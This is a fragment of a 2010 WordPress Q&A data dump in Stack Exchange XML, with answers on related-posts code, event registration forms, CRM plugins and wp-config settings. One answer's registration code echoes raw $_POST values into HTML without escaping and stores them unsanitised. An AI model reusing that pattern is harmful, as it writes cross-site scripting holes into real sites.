  <row Id="1094" PostTypeId="2" ParentId="1090" CreationDate="2010-08-31T18:50:13.797" Score="1" ViewCount="" Body="&lt;p&gt;Justin Tadlock's Members plugin works on multisite:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-31T18:50:13.797" CommentCount="2" />
  <row Id="1095" PostTypeId="2" ParentId="1092" CreationDate="2010-08-31T18:54:49.840" Score="1" ViewCount="" Body="&lt;p&gt;&quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/yet-another-related-posts-plugin/&quot; rel=&quot;nofollow&quot;&gt;Yet Another Related Posts Plugin&lt;/a&gt;&quot; should do what you want. Just configure the related post template to display the post thumbnail and title.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2010-08-31T18:54:49.840" />
  <row Id="1096" PostTypeId="2" ParentId="1092" CreationDate="2010-08-31T18:55:34.490" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Scott B&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like they are using a related posts query based on category.  When a single Item (post) is being displayed the query looks up the category id then displays posts from the same category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Add The following code to your sidebar or even to the bottom of single.php depending on where you want to display the &quot;Related Posts&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--Begin Related Posts--&amp;gt;&#xA;    &amp;lt;?php&#xA;        if ( is_single() ) :&#xA;        global $post;&#xA;        $categories = get_the_category();&#xA;        foreach ($categories as $category) :&#xA;        $posts = get_posts('numberposts=4&amp;amp;exclude=' . $GLOBALS['current_id'] . '&amp;amp;category='. $category-&amp;gt;term_id);&#xA;        //To change the number of posts, edit the 'numberposts' parameter above&#xA;        if(count($posts) &amp;gt; 1) {&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;widget&quot; id=&quot;more-category&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;widgettitle&quot;&amp;gt;&amp;lt;?php _e('More in',''); ?&amp;gt; &amp;amp;#8216;&amp;lt;?php echo $category-&amp;gt;name; ?&amp;gt;&amp;amp;#8217;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach($posts as $post) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;!--/related posts--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this is doing is first getting the category of the current post being displayed, omitting the current item from the query, then checking to make sure there are more than 1 posts in that category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are then it will output &quot;More in Your category name&quot; followed by the permalink to the post.  If you wanted to show the featured image you could change the last section to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;widget&quot; id=&quot;more-category&quot;&amp;gt;&#xA;    &amp;lt;h3 class=&quot;widgettitle&quot;&amp;gt;&amp;lt;?php _e('More in',''); ?&amp;gt; &amp;amp;#8216;&amp;lt;?php echo $category-&amp;gt;name; ?&amp;gt;&amp;amp;#8217;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach($posts as $post) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-31T18:55:34.490" CommentCount="2" />
  <row Id="1097" PostTypeId="1" AcceptedAnswerId="1104" CreationDate="2010-08-31T19:53:22.810" Score="1" ViewCount="438" Body="&lt;p&gt;I am building a website for a charity event and i would like for people to register for this event. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form should contain name, email and other custom questions. Also I would like a page where to list the persons registered. I was thinking of using the user system + a plugin for listing the user list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What plugins would you use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T21:29:30.870" LastActivityDate="2010-09-15T05:17:21.097" Title="WordPress Plugin for One-Time Event Registration?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;users&gt;&lt;events&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="1098" PostTypeId="2" ParentId="1097" CreationDate="2010-08-31T20:09:47.280" Score="2" ViewCount="" Body="&lt;p&gt;You can modify the standard WordPresss user registration form to require more data than the usual username + email address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('register_form','my_show_extra_fields');&#xA;add_action('register_post','my_check_fields',10,3);&#xA;add_action('user_register','my_register_extra_fields',10,3);&#xA;&#xA;function my_show_extra_fields(){&#xA;    ?&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;    #user_first, #user_last, #hzip {&#xA;      background:none repeat scroll 0 0 #FBFBFB;&#xA;      border:1px solid #E5E5E5;&#xA;      font-size:24px;&#xA;      margin-bottom:16px;&#xA;      margin-right:6px;&#xA;      margin-top:2px;&#xA;      padding:3px;&#xA;      width:97%;&#xA;    }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;First Name&amp;lt;br/&amp;gt;&#xA;      &amp;lt;input id=&quot;user_first&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;&amp;lt;?php echo $_POST['first']; ?&amp;gt;&quot; name=&quot;first&quot;/&amp;gt;&#xA;      &amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Last Name&amp;lt;br/&amp;gt;&#xA;      &amp;lt;input id=&quot;user_last&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; value=&quot;&amp;lt;?php echo $_POST['last']; ?&amp;gt;&quot; name=&quot;last&quot;/&amp;gt;&#xA;      &amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Home ZIP Code&amp;lt;br/&amp;gt;&#xA;      &amp;lt;input id=&quot;hzip&quot; type=&quot;text&quot; tabindex=&quot;20&quot; size=&quot;25&quot; maxlength=&quot;10&quot; value=&quot;&amp;lt;?php echo $_POST['hzip']; ?&amp;gt;&quot; name=&quot;hzip&quot;/&amp;gt;&#xA;      &amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function my_check_fields($login, $email, $errors) {&#xA;  global $firstname, $lastname, $hzip;&#xA;  if ($_POST['first'] == '') {&#xA;    $errors-&amp;gt;add('empty_realname', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please enter first name&quot;);&#xA;  } else {&#xA;    $firstname = $_POST['first'];&#xA;  }&#xA;  if ($_POST['last'] == '') {&#xA;    $errors-&amp;gt;add('empty_realname', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please enter last name&quot;);&#xA;  } else {&#xA;    $lastname = $_POST['last'];&#xA;  }&#xA;  if ($_POST['hzip'] == '') {&#xA;    $errors-&amp;gt;add('empty_hzip', &quot;&amp;lt;strong&amp;gt;ERROR&amp;lt;/strong&amp;gt;: Please enter home ZIP Code&quot;);&#xA;  } else {&#xA;    $hzip = $_POST['hzip'];&#xA;  }&#xA;}&#xA;&#xA;function my_register_extra_fields($user_id, $password=&quot;&quot;, $meta=array())  {&#xA;  $userdata = array();&#xA;  $userdata['ID'] = $user_id;&#xA;  $userdata['first_name'] = $_POST['first'];&#xA;  $userdata['last_name'] = $_POST['last'];&#xA;  wp_update_user($userdata);&#xA;  update_usermeta( $user_id, 'hzip', $_POST['hzip'] );&#xA;}&#xA;&#xA;add_action( 'show_user_profile', 'my_show_extra_profile_fields' );&#xA;add_action( 'edit_user_profile', 'my_show_extra_profile_fields' );&#xA;&#xA;function my_show_extra_profile_fields( $user ) {&#xA;  $current_hzip = esc_attr( get_the_author_meta( 'hzip', $user-&amp;gt;ID ) );&#xA;    ?&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Extra profile information&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;      &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th&amp;gt;&amp;lt;label for=&quot;hzip&quot;&amp;gt;Home ZIP Code&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;hzip&quot; id=&quot;hzip&quot; size=&quot;10&quot; maxlength=&quot;10&quot; value=&quot;&amp;lt;?php echo $current_hzip ?&amp;gt;&quot; class=&quot;regular-text&quot; /&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;      &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;add_action( 'personal_options_update', 'my_save_extra_profile_fields' );&#xA;add_action( 'edit_user_profile_update', 'my_save_extra_profile_fields' );&#xA;&#xA;function my_save_extra_profile_fields($user_id) {&#xA;  if ( !current_user_can('edit_user', $user_id) ) {&#xA;    return false;&#xA;  }&#xA;  update_usermeta( $user_id, 'hzip', $_POST['hzip'] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put the above in your &lt;code&gt;functions.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fantastic plugin for displaying customizable lists of user is &lt;a href=&quot;http://webdesign.anmari.com/plugins/users/&quot; rel=&quot;nofollow&quot;&gt;AmR User Lists&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Edit:&lt;/strong&gt; Added user registration stuff.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Edit 2:&lt;/strong&gt; Added custom data not normally saved by WordPress.)&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="43" LastEditorDisplayName="" LastEditDate="2010-08-31T20:26:53.843" LastActivityDate="2010-08-31T20:26:53.843" />
  <row Id="1099" PostTypeId="2" ParentId="1064" CreationDate="2010-08-31T20:39:21.277" Score="0" ViewCount="" Body="&lt;p&gt;WPtex is an old project and is a solution for your question, please google for this. Maybe i can send my version via mail , when you like.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-31T20:39:21.277" CommentCount="2" />
  <row Id="1100" PostTypeId="2" ParentId="1085" CreationDate="2010-08-31T20:43:13.443" Score="1" ViewCount="" Body="&lt;p&gt;This task could vary from rather simple to extremely difficult depending on the site you wish to convert over. Unfortunately there isn't a tool that will do the work for you. This task involves studying the WordPress codex in detail and inquiring as much as possible with other experienced developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a rather intimidating task, but the more time you spend in the documentation, the less intimidating the giant appears. I've been running myself over the coals for about a month now, and am working on my third conversion this week. The first two were terrifying, but they've been getting easier and easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roll up your sleeves, and get ready for some serious studying!&lt;/p&gt;&#xA;" OwnerUserId="92" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T22:02:26.960" LastActivityDate="2010-08-31T22:02:26.960" />
  <row Id="1101" PostTypeId="2" ParentId="1097" CreationDate="2010-08-31T20:44:36.140" Score="2" ViewCount="" Body="&lt;p&gt;Or use BuddyPress, has all this features and more after customizing&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-31T20:44:36.140" />
  <row Id="1102" PostTypeId="2" ParentId="1059" CreationDate="2010-08-31T20:48:05.770" Score="2" ViewCount="" Body="&lt;p&gt;The plugin Adminimize has an option for this &lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-08-31T20:48:05.770" CommentCount="2" />
  <row Id="1103" PostTypeId="2" ParentId="923" CreationDate="2010-08-31T20:51:50.893" Score="0" ViewCount="" Body="&lt;p&gt;+1 on using a theme that supports logos.  Unless you are an experienced developer you really want to do as little editing of CSS and PHP as possible.&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-08-31T20:51:50.893" />
  <row Id="1104" PostTypeId="2" ParentId="1097" CreationDate="2010-08-31T21:26:56.160" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;solomongaby:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Forms&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For the form I would suggestion using &lt;a href=&quot;http://www.gravityforms.com/&quot; rel=&quot;nofollow&quot;&gt;GravityForms&lt;/a&gt;. It's super easy to use to design and post a form, and here's &lt;a href=&quot;http://www.thebusinessof.net/wordpress/presenting/&quot; rel=&quot;nofollow&quot;&gt;an example form we made for requests to be a presenter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GravityForms is $39 per server but if you ask they may be willing to give a charity a free copy?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Registration&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would probably just &lt;strong&gt;recommend using &lt;a href=&quot;http://www.eventbrite.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;EventBrite&lt;/em&gt;&lt;/a&gt;&lt;/strong&gt; like we did &lt;a href=&quot;http://www.thebusinessof.net/wordpress/register/&quot; rel=&quot;nofollow&quot;&gt;for our WordPress business conference&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EventBrite is free to use if your event is free and the fees are well worth the lack of headache if you are charging.  Using EventBrite (or a similar service) will be much, much easier than trying to implement something in WordPress for a one-time event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a &lt;a href=&quot;http://www.smashingmagazine.com/2009/02/02/mastering-wordpress-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;shortcode&lt;/strong&gt;&lt;/a&gt; to make display easy (you can put the code in your theme's &lt;code&gt;functions.php&lt;/code&gt; file). Here's the prototype usage for the shortcode:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;[eventbrite src=&quot;{event_url}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this is what the shortcode looked like in use (&lt;em&gt;be sure to substitute your own event URL of course&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;[eventbrite src=&quot;http://www.eventbrite.com/tickets-external?eid=582216425&amp;amp;amp;ref=etckt&quot; width=&quot;620&quot; height=&quot;500&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And finally here's the PHP source code for the short code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_shortcode('eventbrite', 'eventbrite_show_widget');&#xA;&#xA;function eventbrite_show_widget($args) {&#xA;  $valid_types = array('ticket-form',);&#xA;  $div_style = 'border:1px solid black;color:white;background:red;padding:10px;';&#xA;  $default = array(&#xA;    'type' =&amp;gt; 'ticket-form',&#xA;    'url' =&amp;gt; '',&#xA;    'src' =&amp;gt; '',&#xA;    'width' =&amp;gt; '100%',&#xA;    'height' =&amp;gt; '500',&#xA;  );&#xA;  $args = array_merge($default,$args);&#xA;  extract($args);&#xA;  if (empty($url) &amp;amp;&amp;amp; empty($src)) {&#xA;    $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;div style=&quot;$div_style&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;The &quot;eventbrite&quot; shortcode much have an attribute of either &quot;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;src&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&quot; or &quot;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;url&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&quot;, i.e.:&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;[eventbrite type=&quot;ticket-form&quot; &amp;lt;b&amp;gt;&amp;lt;i&amp;gt;src&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;=&quot;http://www.eventbrite.com/tickets-external?eid=582216425&amp;amp;ref=etckt&quot;]&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;[eventbrite type=&quot;ticket-form&quot; &amp;lt;b&amp;gt;&amp;lt;i&amp;gt;url&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;=&quot;http://www.eventbrite.com/tickets-external?eid=582216425&amp;amp;ref=etckt&quot;]&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;HTML;&#xA;  } else if (!empty($url) &amp;amp;&amp;amp; !empty($src)) {&#xA;    $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;div style=&quot;$div_style&quot;&amp;gt;&#xA;You should only the &quot;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;src&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&quot; attribute or the &quot;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;url&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&quot; attribute when using the &quot;eventbrite&quot; shortcode.&#xA;&amp;lt;/div&amp;gt;&#xA;HTML;&#xA;  } else if (!in_array($args['type'],$valid_types)) {&#xA;    $valid_types = implode('&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&quot;&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;&quot;&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;',$valid_types);&#xA;    $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;div style=&quot;$div_style&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;When using the &quot;eventbrite&quot; shortcode you must specifiy an attribute of &quot;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;type&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&quot; with one of the following valid values:&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&quot;&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;$valid_types&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&quot;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;p&amp;gt;i.e.:&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;[eventbrite &amp;lt;b&amp;gt;&amp;lt;i&amp;gt;type&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;=&quot;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;ticket-form&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&quot; src=&quot;$url$src&quot;]&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;HTML;&#xA;  } else  {&#xA;  $html = &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;div id=&quot;eventbrite&quot;&amp;gt;&#xA;  &amp;lt;iframe src=&quot;$src$url&quot; width=&quot;$width&quot; height=&quot;$height&quot; allowtransparency=&quot;true&quot; scrolling=&quot;auto&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;HTML;&#xA;  }&#xA;  return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T21:33:23.110" LastActivityDate="2010-08-31T21:33:23.110" CommentCount="2" />
  <row Id="1105" PostTypeId="1" CreationDate="2010-08-31T21:27:36.470" Score="1" ViewCount="777" Body="&lt;p&gt;I want a simple CRM in WordPress.com, any suggestions as how to do? Which plugins to use?? How to start and implement?&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T22:18:17.013" LastActivityDate="2011-05-20T05:59:20.313" Title="A Simple CRM Plugin for WordPress?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;&lt;crm&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="1106" PostTypeId="2" ParentId="1076" CreationDate="2010-08-31T21:53:57.007" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@FigBug&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) &lt;strong&gt;You can easily force &quot;www&quot; in your domain&lt;/strong&gt; because WordPress handles it all for you. You'll only need to set two defines in the &lt;code&gt;/wp-config.php&lt;/code&gt; file is found in your website's root; this is the same file where your database userid and password is stored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add these two lines to your &lt;code&gt;/wp-config.php&lt;/code&gt; file somewhere before the &lt;code&gt;require_once(ABSPATH . 'wp-settings.php');&lt;/code&gt; line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME',&quot;http://www.myurl.com&quot;);&#xA;define('WP_SITEURL',WP_HOME);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.) &lt;strong&gt;You cannot force domain capitalization&lt;/strong&gt;. Domains are case-insensitive. Even if you try WordPress will lowercase it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;So give it up, it ain't happening!&lt;/em&gt; :-)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-31T21:53:57.007" CommentCount="1" />
  <row Id="1107" PostTypeId="1" AcceptedAnswerId="1118" CreationDate="2010-08-31T22:16:00.870" Score="0" ViewCount="167" Body="&lt;p&gt;Imagine I have a site set up with pages in this kind of hierarchy..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Home&#xA;-Cars &#xA; -Volvo 850 &#xA;  -Volvo 850 tech spec &#xA;  -Volvo 850 pictures&#xA; -Porsche 911 &#xA;  -Porsche 911 tech spec&#xA;  -Porsche 911 pictures&#xA; -other cars etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can see that I have a bunch of Cars. On each of the car pages (Volvo 850, Porsche 911) I have some Custom Fields where I have entered various data about the Car (by the way, I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template plugin&lt;/a&gt; to make entry of this data easy in wp-admin). These fields are displayed on the page. (the fields are not entered on the tech spec and pictures pages)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is display a list on the cars on the Home page (below), which gets the data from the Custom Fields. What would be the best way to (a) access this custom field data (which can change when new cars are added or edited), and (b) display the data in a certain order (for instance by top speed)..?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;---------------------------------------&#xA;|   Car              |   Top Speed    |&#xA;---------------------------------------&#xA;| Porsche 911        |   200          |&#xA;| Audi 444           |   180          |&#xA;| Volvo 840          |   160          |&#xA;---------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess the pseudo-code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* find all pages which are an immediate descendant of the Cars page (not the tech spec and pictures)&#xA;* get the custom data from these pages&#xA;* display data in Top Speed order&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="394" LastActivityDate="2010-08-31T23:39:43.080" Title="Getting Custom Field data from a page hierarchy" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="1108" PostTypeId="2" ParentId="1085" CreationDate="2010-08-31T22:16:51.080" Score="1" ViewCount="" Body="&lt;p&gt;You could use a Theme Framework like Genesis or WP Framework  if you want to don't want to write code from scatch every time you want to convert another design to a Wordpress Theme. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-08-31T22:16:51.080" />
  <row Id="1109" PostTypeId="2" ParentId="1105" CreationDate="2010-08-31T22:16:57.453" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@MsManiya&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I could find for &lt;strong&gt;WordPress+CRM&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://slipfire.com/wp-crm/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SlipFire's WP-CRM&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cregy.co.uk/wordpress-crm/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cregy CRM for WordPress&lt;/strong&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.cregy.co.uk/category/crm/&quot; rel=&quot;nofollow&quot;&gt;also&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cregy.wordpress.com/home/software/crm-wp-plugin/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Customer Relationship Management WP Plugin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/salesforce-wordpress-to-lead/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Salesforce to Lead Plugin for WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.paulbain.co.uk/development/wordpress-plugins/tactile-crm-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress integration with Tactile CRM&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/tags/crm&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CRM Tags on WordPress.org Support&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-31T22:16:57.453" />
  <row Id="1110" PostTypeId="2" ParentId="999" CreationDate="2010-08-31T22:20:16.200" Score="4" ViewCount="" Body="&lt;p&gt;if you just want to remove all your .svn folders...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find . -name .svn -print0 | xargs -0 rm -rf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-08-31T22:20:16.200" CommentCount="1" />
  <row Id="1111" PostTypeId="2" ParentId="1021" CreationDate="2010-08-31T22:33:34.627" Score="1" ViewCount="" Body="&lt;p&gt;In the interest of self-promotion, I have a plugin for word counts that might offer what you need and a bit more: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-word-count/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-word-count/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2010-08-31T22:33:34.627" />
  <row Id="1112" PostTypeId="2" ParentId="1105" CreationDate="2010-08-31T22:46:50.203" Score="0" ViewCount="" Body="&lt;p&gt;the first one is now under google: rolopress (i can not post more than 1 link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to create your own, I think one essential thing is to link contacts with companies/households and visa versa as both custom post types, then this one comes in handy: &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/posts-to-posts/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-08-31T22:46:50.203" />
